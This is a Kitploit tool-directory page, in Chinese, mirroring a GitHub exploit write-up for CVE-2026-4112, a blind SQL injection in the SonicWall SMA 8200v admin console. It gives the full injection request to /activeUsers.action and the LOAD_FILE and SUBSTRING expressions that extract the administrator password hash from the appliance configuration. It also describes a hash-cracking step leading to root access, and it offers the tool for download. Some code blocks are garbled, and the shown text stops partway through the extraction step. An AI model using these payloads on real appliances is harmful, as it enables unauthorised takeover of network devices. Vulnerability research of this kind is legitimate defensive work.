Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4112 — SonicWall SMA1000 系列设备中,对 SQL 命令中特殊元素的中和不当(“SQL 注入”)允许具有只读管理员权限的远程已认证攻击者将权限提升为主要管理员。 | Kitploit
工具/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

SonicWall SMA1000 系列设备中,对 SQL 命令中特殊元素的中和不当(“SQL 注入”)允许具有只读管理员权限的远程已认证攻击者将权限提升为主要管理员。

查看仓库
1296个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SonicWall SMA 8200v:通过跨参数盲 SQL 注入实现权限提升

固件:12.5.0-02283(基于 12.5.0-02002 的平台热修复)

SonicWall 安全公告


1. 概述

SonicWall SMA 8200v 管理控制台(端口 8443)中存在一个认证后的盲 SQL 注入漏洞,允许任何已认证的管理员——包括低权限的只读账户——从设备配置文件中提取主管理员账户的 SHA-512 密码哈希。由于 SonicWall 对管理控制台管理员和操作系统 root 账户使用相同的凭据,破解该哈希即可获得设备的完全 root 级访问权限。

分类: 权限提升(低权限管理员到 Root) CVSS 3.1: 7.2(高危)— AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 攻击复杂度: 低(自动化 PoC 约 60-90 分钟完成提取) 前提条件: 任意有效的管理控制台凭据(包括只读账户)


2. 受影响组件

组件详情
平台SonicWall SMA 8200v(虚拟设备)
固件12.5.0-02283(已确认);可能影响所有 12.x 版本
服务管理控制台 — Jetty + Struts 2(端口 8443)
端点POST /activeUsers.action
易受攻击参数realmFilter、communityFilter(跨参数)
根本原因类com.aventail.mgmt.sql.Sql.safeParam()
数据库MariaDB 10.11.14,用户 DbAdmin(ALL PRIVILEGES + FILE)
目标文件/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

3. 漏洞详情

3.1 根本原因:safeParam() 中的输入清理不完整

管理控制台使用类 com.aventail.mgmt.sql.Sql 中的辅助方法 safeParam() 为 Active Users 仪表板构建 SQL 查询。该方法通过将单引号(')和双引号(")加倍来转义它们,但不转义反斜杠字符(\)。

在 MySQL/MariaDB 中,反斜杠是字符串字面量内部的默认转义字符。序列 \' 会使数据库将单引号解释为字面字符而非字符串终止符。这意味着参数值末尾的反斜杠将转义应用程序追加的闭合引号,导致 SQL 字符串字面量扩展到相邻语法中。

清理缺口:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.

### 3.2 注入机制:跨参数技术

`activeUsers.action` 端点接受多个过滤器参数,这些参数被插值到单个 SQL WHERE 子句中。相关参数为 `realmFilter` 和 `communityFilter`,它们出现在一个结构大致如下的查询中:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

攻击参数设置:

参数值目的
realmFiltertest\尾部反斜杠转义了闭合引号,使字符串字面量跨越 AND 边界延伸
communityFilter)) OR (SELECT IF(<condition>,SLEEP(N),0))-- x闭合打开的括号,注入条件性 SLEEP,注释掉其余部分

插值后生成的 SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

分解如下:

1. `rt.name='test\')` — `\` 转义了 `'`,因此字符串在此处并未闭合
2. `AND (ct.name='` — 成为字符串值的一部分(字面文本)
3. 字符串最终在下一个 `'`(来自 `communityFilter` 的开头)处闭合
4. `))` — 闭合 WHERE 子句结构中两个未闭合的括号
5. `OR (SELECT IF(...))` — 注入盲 SQL 注入条件
6. `-- x` — 注释掉剩余的 SQL(`')` 及其他子句)

### 3.3 基于时间的盲注提取

由于应用程序的 Struts 2 错误处理机制会优雅地捕获 SQL 异常(无论查询成功与否,始终返回 HTTP 200 及相同的页面内容),基于报错和基于 UNION 的提取方法均不可行。因此,该注入利用基于时间的盲注技术进行利用:

- **TRUE 条件:** `IF(<condition>, SLEEP(N), 0)` — 响应延迟为 SLEEP 时长乘以结果集行数
- **FALSE 条件:** 无 SLEEP — 响应在约 200-500ms 内返回

SLEEP 函数在 WHERE 子句求值过程中按行执行。由于典型的监控表包含 30-300+ 行,即使很小的 SLEEP 值(例如 0.3s)也能产生清晰可辨的延迟(TRUE 条件为 10-100s,FALSE 条件为 <1s)。

目标数据的每个字符均通过对 ASCII 范围进行二分搜索来提取:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

此操作每个字符最多需要 7 次请求(log2(128) = 7),对于 98 字符的 SHA-512 哈希,总共约需 686 次请求。


4. 利用链

4.1 概述```

                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

### 4.2 步骤 1:身份验证

SMA 管理控制台支持两种身份验证域:

| 域 ID | 显示名称 | 用户 |
|----------|-------------|-------|
| *(空)* | 管理控制台 | 仅主管理员账户 |
| `AMCAuthRealm` / `本地身份验证` | 本地身份验证 | 辅助管理员账户(只读、自定义) |

该攻击仅需一个具有管理控制台访问权限的**任意**账户的有效凭据。“只读”账户——旨在仅提供监控访问权限、不具备配置更改能力——即已足够。

身份验证通过基于 J2EE FORM 的身份验证执行:

1. `GET /console.action` — 获取登录页面,从隐藏表单字段中提取 CSRF 令牌
2. `POST /j_security_check` — 提交 `csrfToken`、`j_username`、`j_password` 和 `realmId`
3. 成功时返回 HTTP 303 重定向,并建立 `JSESSIONID` Cookie

### 4.3 步骤 2:SQL 注入

身份验证后,攻击者向 `/activeUsers.action` 发送带有跨参数注入的 POST 请求:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

无条件 IF(1=1, SLEEP(0.3), 0) 通过观察 HTTP 响应中的可测量延迟,验证了注入是否有效。

4.4 步骤 3:LOAD_FILE() 任意文件读取

MariaDB 数据库以操作系统用户 DbAdmin(uid=1001,gid=500 aventail)身份运行。该数据库用户拥有 ALL PRIVILEGES ON *.* WITH GRANT OPTION,包括 LOAD_FILE() 所需的 FILE 权限。

一个关键发现:尽管 MariaDB 配置设置了 secure_file_priv = NULL(这会阻止 INTO OUTFILE 和 INTO DUMPFILE 写入操作),但用于读取文件的 LOAD_FILE() 函数仍然完全可用。这是 MariaDB 一个已记录但鲜为人知的行为——secure_file_priv=NULL 限制了文件写入路径,但当用户拥有 FILE 权限时,并不会禁用文件读取。

目标配置文件 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml 的所有者为 mgmt-server:aventail,权限为 664(rw-rw-r--)。由于 DbAdmin 操作系统用户属于 aventail 组,因此 LOAD_FILE() 可以读取该文件。

通过盲注 SQLi 进行验证:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

### 4.5 步骤 4:在 avconfig.xml 中定位管理员哈希

`avconfig.xml` 文件(约 98KB)是设备的主配置存储库。它包含所有用户凭据,以 SHA-512 crypt 格式存储在 `<password>` XML 元素中。主管理员哈希位于一个 `<credentials_item>` 块中,该块靠近管理员部分独有的 `<consoleMode>` 元素。

提取过程不依赖硬编码的字节偏移量(如果管理员部分上方的配置发生变化,这些偏移量会失效),而是使用 MySQL 字符串函数动态定位哈希:```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

逻辑:

  1. LOCATE('consoleMode', file) — 查找 consoleMode 字符串的字节偏移量,锚定到管理员配置部分
  2. LOCATE('<password>', file, anchor_offset) — 在该锚点之后查找第一个 <password> 标签
  3. SUBSTRING(file, tag_offset + 10, 120) — 提取哈希值(跳过 10 个字符的 <password> 标签)
  4. SUBSTRING_INDEX(result, '<', 1) — 在 </password> 结束标签处截断

这种方法与位置无关,并且对文件中其他位置的配置更改具有弹性。整个表达式使用 MySQL 十六进制字面量(0x...)进行编码,以避免在注入上下文中出现引号问题。

4.6 步骤 5:逐字符哈希提取

哈希的每个字符通过二分搜索提取:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

二分搜索每次请求将 ASCII 范围 [0, 127] 缩小一半:

| 步骤 | 范围 | 测试 | 结果 |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | 已收敛 | 字符 = chr(n) |
下载工具